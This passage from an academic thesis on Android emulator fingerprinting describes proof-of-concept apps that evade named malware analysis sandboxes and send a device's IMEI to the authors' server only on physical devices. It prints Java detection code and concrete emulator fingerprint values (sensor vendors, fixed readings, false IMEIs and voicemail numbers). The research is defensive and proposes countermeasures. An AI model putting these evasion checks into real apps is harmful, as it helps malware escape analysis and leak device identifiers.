    mAudioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);

    if(mAudioManager == null) {  
        setErrorMsg("No AudioManager Available");  
        showErrorMsg();  
        sendErrorMsg();
    } else {  
        // set, show, send initial audio attributes and volume levels  
        setInitialAudioData();  
        showAudioData();  
        sendAudioData();  
        increaseVolume();  
        decreaseVolume();
    }
}
```

Figure 22. Code snippet for `onCreate` in the Audio app.
The programmatic volume changes should create system broadcasts which are received by our VolumeBroadcastReceiver class. The onReceive method of this Broadcast Receiver captures the audio stream type for which the volume adjustment took place, as well as the current and previous volume levels for that audio stream, as shown in Figure 24. Audio stream types recognized by the AudioManager API include types for alarms, music playback, notifications, ring tones, system sounds, phone calls, and Dual-Tone Multi-Frequency (DTMF), which is commonly associated with touch tone sounds generated when pressing keys on a telephone. MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.
3. Results

Results for the various audio attributes obtained during runtime execution of the Audio application are provided in Table 17. We performed testing on the physical devices by initially using the physical volume rockers on the side of the devices to adjust the volume levels all the way down. Additionally, we went into the Android Settings application on each device and adjusted the volume levels all the way down for any audio stream listed. The table results provide the maximum volume level, the initial volume level, and the volume level after (post) the programmatic volume increase and decrease for each audio stream type.

* Android Sandbox continued its trend of making HTTP requests to our EC2 server, but without any POST variable data for logging.
4. Discussion

All analysis services that provided results to our EC2 server indicated an AudioManager object was able to be instantiated and was able to perform volume adjustments (both increases and decreases). The maximum volume values for each audio stream given by the analysis services appeared realistic and matched two of the physical devices (Samsung Galaxy S4 and LG Nexus 5).

The values given by each analysis service for initial volume and for volume after programmatic adjustments were not significant when compared to the corresponding values given by the physical devices (i.e., we can’t account for what the initial volumes will be in the analysis services’ runtime environments like we could with the physical devices). However, when the values given by each analysis service were compared against each other, a significant pattern was observed.

With an exception of two attributes on three of the services, the initial and post adjustment volume levels for each audio stream were exactly the same. We have bolded and highlighted (in yellow) these exceptions in Table 17. Of note, the initial values on these two audio streams for each exception did match each other. We also observed that APKScan, SandDroid, VisualThreat (the three services for which these exceptions were noted) were running Android API level 16, while all other analysis services were running Android API level 15 or lower when executing our Audio application. These similarities across each of the services might be explained by each service creating a new instance of an Android runtime environment each time an APK is submitted (i.e., allocating new resources, running the submitted APK, then releasing those resources back to a larger pool). If that is the case, it is also possible the volume levels are then defaulted to the given values seen in Table 17. Based on this initial result, we are partially confident that audio volumes (specifically maximum volume level and initial volume level) could be used for detection of an emulated runtime environment.

Although we did not perform testing that included how devices and runtime environments respond to volume adjustments that trigger device vibration, this too could serve as an additional validation check for execution of an application on a physical
device. It would be interesting to test what changes are registered by a device’s accelerometer sensor when volume adjustments cause vibration or haptic feedback. Additionally, it would be interesting to test a device’s capabilities for recording (via microphone) a short audio clip and what the resulting file might include. We leave these to be explored in future work.

L. PHONESTATE APPLICATION

1. Android TelephonyManager Overview

The Android platform offers multiple APIs for accessing information regarding telephony services on a smart device, specifically through APIs found in the android.telephony package. The TelephonyManager\textsuperscript{95} API is one such package that provides multiple methods for performing actions such as inspecting a device’s IMEI, determining the network type of the device (e.g., GSM or CDMA), and listing the device’s voice mail number. Additionally, this API allows for registering an event listener that can determine changes in a device’s call state (e.g., a phone being idle vice having an incoming call) [54].

2. Application Details

The PhoneState application we developed focuses on gathering basic information about a device’s telephony attributes and state. To accomplish this, an additional Android permission was required to be declared in the manifest beyond those needed for the application’s network connectivity, namely android.permission.READ_PHONE_STATE.

Within the onCreate method of our main Activity, a TelephonyManager is instantiated using the getSystemService method of the Activity’s corresponding API. After verifying that the TelephonyManager object is not null (i.e., that the system executing the application does indeed support telephony capabilities), we capture initial attributes about the device that include the IMEI, network operator number,

\textsuperscript{95} More details regarding the TelephonyManager can be found at: http://developer.android.com/reference/android/telephony/TelephonyManager.html.
network type, phone type, the state of the SIM card if one is present, the SIM card operator number, the current network subscriber ID, and the voice mail number. These are displayed on the device’s screen as well as logged to our EC2 server. Additionally, we register an event listener that captures changes in the device’s call state through the `onCallStateChanged` method. The `onCreate` program details are shown in Figure 25. The event listener program details are shown in Figure 26. There are three different call states which the `TelephonyManager` API defines: `CALL_STATE_IDLE` (no activity), `CALL_STATE_OFFHOOK` (at least one call exists that is dialing, active, or on hold), and `CALL_STATE_RINGING` (a new call arrived and is ringing or waiting due to a current active call). MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.

```java
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_phone_state_main);

    txtResults = (TextView) this.findViewById(R.id.txtResults);
    setDeviceData();
    showDeviceData();
    sendDeviceData();

    mTelephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);

    if (mTelephonyManager != null) {
        mTelephonyManager.listen(new TeleListener(), PhoneStateListener.LISTEN_CALL_STATE);
        setPhoneData();
        showPhoneData();
        sendPhoneData();
        setErrorMsg("Phone Data Should've Been Sent");
        sendErrorMsg();
        } else {
        setErrorMsg("No Telephony Service Available");
        showErrorMsg();
        sendErrorMsg();
        }
}
```

Figure 25. Code snippet for `onCreate` in the PhoneState app.
Figure 26. Code snippet for `onCallStateChanged` in the PhoneState app.

3. Results

Results for the various telephony attributes obtained during runtime execution of the PhoneState application are provided in Table 18. Our tests performed on the physical devices did not include actual call state changes due to lack of actual SIM cards installed in the devices. Future work should take this into account and test on physical devices with full cellular capabilities. Device IDs (e.g., IMEI) are not disclosed on physical devices for privacy purposes. With that stated, we have excluded physical device data from the subsequent results to allow more room to display the analysis services’ data.

⁰² Call states are represented as: CALL_STATE_IDLE (I), CALL_STATE_OFFHOOK (OH), CALL_STATE_RINGING (R)
4. Discussion

Multiple attribute values observed during our testing of the PhoneState application were significant. None of the analysis services showed the exact same values for all of the various attributes collected and only some of these services initiated a call state change (i.e., an incoming phone call was detected). Individual values for attributes were inspected for validity, which the remainder of this section discusses. Of note, Mobile-Sandbox logged values from two separate runtime environments (similar to other applications tested on this service) that provided differing values for the attributes collected.

All services reported a phone type of 1, indicating a GSM device. This would imply the device identifier associated with each service would be an IMEI number. IMEI values can be validated through multiple services online\(^\text{103}\) (even programmatically by parsing HTTP requests for automated scripts). Obviously, the IMEI value of 000000000000000 was a false value; however the other reported values were also verified as false using an online IMEI submission service. Based on this result, we are confident that detection of emulated runtime environments is possible by looking for GSM phone types with a false IMEI number.

The subscriber ID codes on five of the six analysis services that reported results appeared suspicious in sequence (310005123456789 and 310260000000000), with Mobile-Sandbox being an exception. We have yet to come across an accessible way for validating subscriber ID codes, however, and so this attribute would be hard to use for detecting emulated runtime environments with any level of confidence. One proposed technique would be to compare values against a known blacklist of numbers; we would likely want to run larger volumes of tests against known mobile malware analysis services to populate such a blacklist.

Similar to the blacklist described for subscriber ID codes, a blacklist could be utilized for verifying false voice mail numbers and incoming phone numbers such as

---

\(^{103}\) We verified the IMEIs on our physical devices and confirmed false IMEIs for the analysis services by using an online submission tool found at http://www.imei.info.
those given by the analysis services in our testing. The number 15552175049 is obviously false because 555 is not a valid U.S. area code. We attempted to call the other U.S. numbers observed (13579123651, 17500941630) and received a failed to connect or disconnected status on each of the numbers. We did not attempt to verify the international numbers observed. Based on our results, observing the voice mail number 15552175049 is sufficient for detecting an emulated runtime environment but it should not be used as the sole indicator, as evidenced by Mobile-Sandbox results.

Network and SIM card operator codes did not provide significant values that would help in detecting emulated runtime environments. Both values observed correspond to realistic Mobile Country Codes (MCC) prepended to Mobile Network Codes (MNC), with 310260 indicating United States T-Mobile and 46000 indicating China Mobile GSM.\(^\text{104}\)

Even though several of the attributes we observed in testing were significant for our purposes, we would like to reiterate our tests performed on the physical devices did not have cellular capabilities. Future work should take this into account because the TelephonyManager API (and moreover the android.telephony package of APIs), provide a robust set of other methods which could be used for detecting emulated runtime environments such as obtaining a list of cellular neighbors, determining whether a GSM device is roaming, inspecting Received Signal Strength (RSSI), and more.

M. ADDITIONAL APPLICATIONS

Although we developed several other applications to test against the malware analysis services, we conclude this chapter for sake of brevity and lack of significant results observed by these other applications. The applications included:

- An SMS application, which inspected a device’s Inbox and Sent SMS messages for phone numbers, date, content, status (e.g., did the message go through and was an incoming message actually viewed) and total number of messages.

\(^\text{104}\) MCC and MNC values can be looked up at: http://www.mcc-mnc.com/.
• A **CallHistory** application, which inspected a device’s call history (incoming, missed, and outbound) for phone numbers, dates, duration, and total number of calls.

• A **ContactList** application, which inspected a device’s contact list (address book) for names, phone numbers, last time contacted, number of times contacted, email address, and total number of contacts in the address book.

Although some of the services showed zero contacts, zero calls, or zero SMS messages, it wasn’t consistent across the applications or services and therefore could not be relied upon as sole indicators for detection of emulated runtime environments. Additionally, a realistic scenario on a physical device could be that its user had recently deleted all SMS and call history logs. Some of the dates observed across these applications also seemed incorrect, similar to results seen in the LocationGPS and LocationNetwork applications; however, it was not consistent and again, a realistic scenario could be envisioned where a phone call record on a device was from several years ago (this could be partially mitigated by sorting the most recent calls).

MD5 hash values for each APK file submitted of the three applications and additional source code are provided in Appendix A.

Interestingly, and almost as a tip of the hat to the information security community, Andrubis gave results from executing our ContactList application that provided the names of Bob, Alice, and Eve. Their phone numbers are 080–012–3456789, 013–1337, and 065–031–337, respectively. Sadly, Mallory was left out.
V. ANDROID EMULATOR EVASION

The previous chapter’s enumeration findings show there are multiple heuristics that a malicious Android app developer could use to determine whether an application he or she created is executing in an emulated environment or on a physical device. This technique allows a malicious app to determine whether it should trigger functionality to execute its malice (because it is executing on a physical device), or if it should trigger evasion techniques (because it is executing in an analysis environment).

This chapter details two proof-of-concept applications that we developed to test evasion techniques on mobile malware analysis services, or—more specifically—on the emulated environments they utilize for mimicking Android devices.

A. METHODOLOGY

Both Android applications we developed for evasion testing first attempt to capture basic values and attributes of sensors, hardware features, or other dynamic resources. These values and attributes are directly accessible through proper Android API method calls and, when required, proper Android permissions declared in the AndroidManifest.xml configuration file. Similar to applications developed for Chapter IV, we do not attempt to circumvent or exploit any Android platform feature for purposes of these tests.

We continued to utilize our EC2 server for logging results sent by the physical devices and the analysis services during our tests. Similar to Chapter IV applications, results are also displayed on the Android device or emulator screen using a TextView object. Several of the services provided screen captures of submitted applications during runtime as part of their resulting report, so this served as a secondary measure for capturing data generated from each service.

During runtime of both applications, we also captured various static heuristics about the device or emulator performing code execution. The Android android.os.Build API provides various public member fields such as...
Build.DEVICE, Build.BRAND, Build.MANUFACTURER, Build.MODEL, Build.PRODUCT, Build.BOARD, and Build.VERSION.SDK_INT, which all give some insight as to the type of hardware and operating system version (i.e., Android API level) utilized for executing an application. Although these values in of themselves could be used for detection and evasion, we specifically designed our applications to utilize values and attributes of sensors or other dynamic resources.

Both applications attempt to determine if they are executing on a physical device, and, if so, retrieve the device’s unique ID (i.e., its IMEI, ESN, or MEID value) and send that value to our EC2 server. If the application determines it is executing in an emulated environment, it will not send the device’s unique ID. Of note, sending the device’s unique ID is a common trend associated with malware and aggressive malware, as described in [55] and evidenced in a profile of the NickiSpy.A malware instance detected in 2011 [56].

The remainder of this chapter details each application test and the results observed by running an application on four physical devices (Samsung Galaxy S4, Samsung Galaxy S5, Samsung Galaxy Note 4, and LG Nexus 5) and within seven different analysis services. As mentioned in Chapter III, we chose not to submit any more applications to Joe Sandbox Mobile due to previous bans caused by our failings to adhere to their Terms and Conditions. Additionally, at the time of our testing for these two applications, the Android Sandbox online submission service appeared to be unreachable.

We named these applications after the well-known video game Konami Code105 cheat, which appeared in multiple games and is still referenced today as a nod to past gaming culture.106 It involved users entering a sequence of button pushes at a specific time in the gaming (typically the beginning) to unlock a secret cheat (usually in the form of additional player lives being given).

---

106 The Google Play Games app even used this cheat to display a hidden message, as described at: http://www.androidpolice.com/2013/07/25/konami-code-easter-egg-discovered-in-google-play-games/.
B. KONAMI CODE: STATIC ATTRIBUTES

1. Application Details

The first version of the Konami Code application we developed focused on testing runtime environments against known static attribute values based on our findings in Chapter IV. For example, in testing the accelerometer sensor, we compared attribute values against known values detected in emulated environments such as its max range, power, and vendor name. This is performed by a method called from the application’s onCreate method (i.e., it’s initial entry point), and is shown in Figure 27. We chose nine different tests to perform involving various values from the SensorList, Accelerometer, Geomagnetic Field, Orientation, Proximity, Battery, Bluetooth, Audio, and PhoneState applications. Each test is called sequentially from onCreate, and if any one of them fails, the application will not send the device’s unique identification number to our EC2 server. MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.

```java
private void accelerometerGoNoGo() {
    if (mAccelerometer == null) {
        confidence = false;
        setErrorMsg("Emulated Environment Detected");
        showErrorMsg();
        sendErrorMsg();
    } else {
        float accelerometerMaxRange = mAccelerometer.getMaximumRange();
        float accelerometerPower = mAccelerometer.getPower();
        String accelerometerVendor = mAccelerometer.getVendor();
        if ((accelerometerMaxRange < 10) && (String.valueOf(accelerometerPower).equals("3.0")) && (String.valueOf(accelerometerVendor).equals("The Android Open Source Project"))) {
            confidence = false;
            setErrorMsg("Emulated Environment Detected");
            showErrorMsg();
            sendErrorMsg();
        } else {
            setErrorMsg("Likely Physical Device - Accelerometer Passed");
            showErrorMsg();
            sendErrorMsg();
        }
    }
}
```

Figure 27. Code snippet for accelerometerGoNoGo in the KonamiCodeStatic app.
2. Results

Results obtained during runtime execution of the KonamiCodeStatic application are provided in Table 19. A checkmark indicates the specific test was passed by the device or service (e.g., did the runtime environment provide realistic values for the accelerometer’s static attributes tested), while a cross-mark indicates it failed. If all tests were passed and an IMEI was sent to our EC2 server, a checkmark is given in the final row.

\(^{115}\) Emulated environments were known to provide detectable values for a device’s unique identification number (e.g., its IMEI).
3. Discussion

The KonamiCodeStatic application was successfully able to detect and evade all seven mobile malware services that we submitted it to for analysis. For each of the physical devices on which the KonamiCodeStatic app was executed, we received a positive IMEI value displayed to the screen and logged on our EC2 server. These results provided evidence that testing for known attribute values of sensor or other dynamic resources on an Android device are sufficient for determining the runtime environment (i.e., physical or emulated) on which the application is being executed.

More importantly, the detailed results also gave evidence of how emulated environments could easily defeat many of these tests in the future, should they modify the underlying Android platform source code to blend these known values with more realistic ones. Because the values tested by this application were known to be static, the technique used for comparing them was essentially a form of \textit{blacklisting}, which places the burden on the one performing the comparison. This was evidenced by the results from Mobile-Sandbox. Although the application ultimately succeeded in detecting it was in an emulated environment, the Mobile-Sandbox service did pass the PhoneState test (highlighted in Table 19) by providing an IMEI and a voice mail number that we did not have on our blacklist.

Another interesting result of this test is shown by the reports generated from APKScan, which includes a section titled Network Information Leakage that provides indications when sensitive information (such as contacts, IMEIs, etc.) is sent off the phone. This specific analysis service identified our PhoneState application as being suspicious because of its attempt to capture and send devices’ unique identification numbers (e.g., IMEI) over a network connection. Figure 28 shows an example of this section after analysis of our PhoneState application.\footnote{The APKScan report for our PhoneState APK submission is at: http://apkscan.nviso.be/report/show/131bc9b7b854a0cd55601c2562fe5806.} Figure 29 shows screen captures from the APKScan emulated environment after running our PhoneState application (left) and our KonamiCodeStatic application (right). Because the KonamiCodeStatic
application is successfully able to detect its being executed in APKScan’s emulated environment, it never attempts to send an IMEI value across the network and therefore is not flagged as being suspicious.

C. **KONAMI CODE: DYNAMIC ATTRIBUTES**

1. **Application Details**

   The second version of the Konami Code application we developed focused on testing runtime environments against known *dynamic* attributes based on our findings in Chapter IV, and their behavior over multiple events. For example, in testing the
accelerometer sensor, we compared whether given force values along each of the three axes ever changed over the range of ten accelerometer sensor events. We chose three different sensor types for testing (Accelerometer, Geomagnetic Field, and Proximity). Unlike the static version of the Konami Code application, we could not perform tests in a sequential manner because we had no control over which sensor event occurred at any given time. Instead, any time a sensor event was detected, we determined what sensor type caused it and then looked to see if the values given by this event differed from the previous event values for that sensor type. If they differed, the assumption became that the runtime environment was a physical device. If they remained the same across ten distinct sensor events of a given sensor type, we stopped testing that sensor and assumed the runtime environment was an emulated environment. Each sensor test passed contributed ten lives to a threshold counter, or life counter, which was then checked to see whether thirty lives had been reached on this counter. Once thirty lives were reached (i.e., all three sensor tests were passed), the device’s IMEI was displayed and sent across the network to our EC2 server. If any sensor test failed, the threshold of thirty lives could never be reached, and therefore no IMEI value could ever be sent. Figure 30 shows a portion of the onSensorChanged method, which detects an accelerometer event and performs the previously described test.

MD5 hash values for each APK file submitted and additional source code are provided in Appendix A.
Figure 30. Code snippet for `onSensorChanged` in the KonamiCodeDynamic app.

2. Results

Results obtained during runtime execution of the KonamiCodeDynamic application are provided in Table 20. A checkmark indicates the specific test was passed by the device or service (e.g., did the runtime environment provide differing values for two distinct accelerometer events), while a cross-mark indicates it failed. If all tests were passed and an IMEI was sent to our EC2 server, a checkmark is given in the final row.

* At the time of testing and KonamiCodeDynamic APK submission, the Android Sandbox online service was unreachable and therefore no results were obtained.

---

\(^{117}\) Emulated environments were known to provide accelerometer events with unchanging values of 0.0 (x-axis), 9.7762 (y-axis), and 0.813417 (z-axis) m/s\(^2\).

\(^{118}\) Emulated environments were known to provide geomagnetic field events with unchanging values of 0.0 (x-axis), 0.0 (y-axis), and 0.0 (z-axis) μT.

\(^{119}\) Emulated environments were known to provide proximity events with unchanging values of 1.0 centimeter.
3. Discussion

The KonamiCodeDynamic application was successfully able to detect and evade all seven mobile malware services that we submitted it to for analysis. For each of the physical devices on which the KonamiCodeDynamic app was executed, we received a positive IMEI value displayed to the screen and logged on our EC2 server. These results provided evidence that testing for known behaviors of sensors on an Android device is sufficient for determining the runtime environment (i.e., physical or emulated) on which the application is being executed.

Unlike the static testing performed in the previous section, the KonamiCodeDynamic application did not rely on a blacklisting technique; instead, it relied on detection of sensor values that remained the same over multiple sensor events. On physical devices, the values across these sensor events differed (even if only slightly), and therefore suggested realistic behavior. This behavior is likely much harder to “emulate” than simply changing static values within the Android source code.

Although our application only tested three sensors for behavior across events, this same technique could be applied to other sensors and dynamic resources on an Android device. For example, a test could be performed which looked at whether location updates given (via GPS) actually had satellite data associated with the fix. Another example test could monitor the battery charge level over a period of 10 minutes to look for increases or decreases based on its plugged-in state. Using a combination of these dynamic behavior tests would likely result in an even greater confidence factor when making the determination of which runtime environment (real or emulated) an application is executing in.
VI. CONCLUSION

Our research had the initial goal of enumerating physical Android devices and multiple Android malware analysis services through their implementation of sensors and other dynamic resources. To accomplish this goal, we developed 15 different Android applications that captured various sensor and resource attributes, in addition to dynamic values associated with sensor and resource events.

Utilizing the results from these 15 applications, we explored our next goal of creating triggering techniques to perform pseudo-malware actions, or to detect and evade emulated Android runtime environments. To do this, we created two separate applications based on (1) comparing static attributes of sensors and resources with known emulated values, and (2) monitoring the dynamic behaviors of sensors within the runtime environments.

Our final results from these two applications demonstrated how trivial it is to detect and evade emulated runtime environments utilized by several popular Android malware analysis services. Each physical device we tested executed our pseudo-malware action, while each analysis service tested was successfully evaded.

A. LIMITATIONS

As discussed in previous chapters, the tests we performed were against a limited number of physical devices (without SIM cards) and against a few, seemingly popular, mobile malware analysis services. Further efforts should incorporate a wider range of physical devices with full cellular connectivity, as well as explore additional analysis services that we did not test against. For instance, we chose not to submit any applications to the Google Play Store; however, other related research efforts have targeted this service with interesting results [57, 58]. Additionally, larger volumes of testing against these physical devices and analysis services should be conducted in order to perform a more thorough, statistical comparison.
B. FUTURE WORK AND RELATED WORK

Because our research demonstrated how easily emulated environments can be detected and evaded, we believe future work in the area of mobile malware should explore multiple methods of countering anti-analysis techniques.

One such method would be to concentrate on better simulation for sensor events and other hardware events (e.g., battery status, GPS, etc.). We recently came across a program called SensorSimulator, which reportedly can simulate realistic values on an Android emulator and has the ability to store and replay sensor event data from actual physical devices.\(^{120}\) We did not have an opportunity to explore this software and the project looks be possibly stagnant; however, the concept looks promising and is worth investigating in future work.

Another method might be to abandon using emulated environments altogether for malware analysis, and conduct scaled testing utilizing large numbers of physical mobile devices. We did not find any malware service currently conducting analysis in this manner; however, commercial interests have sparked innovation from companies such as Bitbar to develop services for testing mobile applications on hundreds of physical devices as a form of user testing for usability and performance (i.e., not malware analysis).\(^{121}\) Future work in mobile malware analysis could possibly pattern a testing infrastructure off of Bitbar’s design approach.

Finally, the most promising method we encountered while concluding our research came from SandDroid’s creator, Wenjun Hu. At the 2014 PacSec conference in Tokyo, he advocated for implementing API runtime hooks within an emulated environment to intercept malicious malware attempting to detect the runtime environment [59]. These runtime hooks would then allow analysis environments to provide simulated results in a lightweight manner, as opposed to modifying Android source code.

\(^{120}\) Details and downloads for SensorSimulator are available at: https://code.google.com/p/openintents/wiki/SensorSimulator

\(^{121}\) Bitbar’s service is called Testdroid and details can be found at: http://testdroid.com/
C. FINAL THOUGHTS

As the Department of Defense and other U.S. government organizations continue to invest in mobile technology and software associated with that technology, research such as ours (and similar efforts mentioned throughout our work) will hopefully give users and stakeholders reason to pause and truly think about security aspects and risks. With USCYBERCOM and the Department of Homeland Security taking on missions to protect Critical Infrastructure and Key Resources (CIKR) in cyberspace, mobile malware and mobile application distribution methods (e.g., app stores) cannot be ignored.

Perhaps even more importantly is how the commercial sector will continue to explore new ways of integrating mobile technologies into their business models. With almost perfect timing at the conclusion of our research, Google announced their Android for Work program, which includes Google Play for Work, described as: “allow[ing] businesses to securely deploy and manage apps across all users running Android for Work, simplifying the process of distributing apps to employees and ensures that IT approves every deployed app [60].

Enterprise control over mobile applications distributed to all employees will surely ease IT headaches; however, it does introduce new concerns (and potentially new vulnerabilities) to address as well.
APPENDIX: MD5 HASHES AND SOURCE CODE

The source code in this appendix provides only the main Android manifest file and application components from each respective application. Full source code is available for download from the Naval Postgraduate School’s Institutional Archive, Calhoun, at the following URL: http://calhoun.nps.edu/handle/10945/44727.

    }
}
Based on previous findings, most emulators provided at most five distinct sensor types. We provided a slightly higher threshold; however, the modern phones we tested all provided at least 17 distinct sensor types.

```java
private void sensorListGoNoGo() {
    List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
    int sensorCount = sensorList.size();
    if (sensorCount < 9) {
        confidence = false;
        setErrorMsg("Emulated Environment Detected");
        showErrorMsg();
        sendErrorMsg();
    } else {
        setErrorMsg(" Likely Physical Device - SensorList Passed");
        showErrorMsg();
        sendErrorMsg();
    }
}
```

First determine whether an accelerometer is available; All physical phones tested provided accelerometer data. If an accelerometer is available, verify that multiple static values are not similar to known emulated environment values.

```java
private void accelerometerGoNoGo() {
    if (mAccelerometer == null) {
        confidence = false;
        setErrorMsg("Emulated Environment Detected");
        showErrorMsg();
        sendErrorMsg();
    } else {
        float accelerometerMaxRange = mAccelerometer.getMaximumRange();
        float accelerometerPower = mAccelerometer.getPower();
        String accelerometerVendor = mAccelerometer.getVendor();
```
if ((accelerometerMaxRange < 10) && (String.valueOf(accelerometerPower).equals("3.0"))
&& (String.valueOf(accelerometerVendor).equals("The Android Open Source Project"))) {
    confidence = false;
    setErrorMsg("Emulated Environment Detected");
    showErrorMsg();
    sendErrorMsg();
} else {
    setErrorMsg("Likely Physical Device - Accelerometer Passed");
    showErrorMsg();
    sendErrorMsg();
}
}

// First determine whether a magnetic field sensor is available; All physical phones tested provided
// magnetic field data. If one is available, verify that multiple static values are
// not similar to known emulated environment values.
private void magnometerGoNoGo() {
    if (mMagnometer == null) {
        confidence = false;
        setErrorMsg("Emulated Environment Detected");
        showErrorMsg();
        sendErrorMsg();
    } else {
        float magnometerMaxRange = mMagnometer.getMaximumRange();
        float magnometerPower = mMagnometer.getPower();
        float magnometerResolution = mMagnometer.getResolution();

        if (String.valueOf(magnometerMaxRange).equals("2000.0")
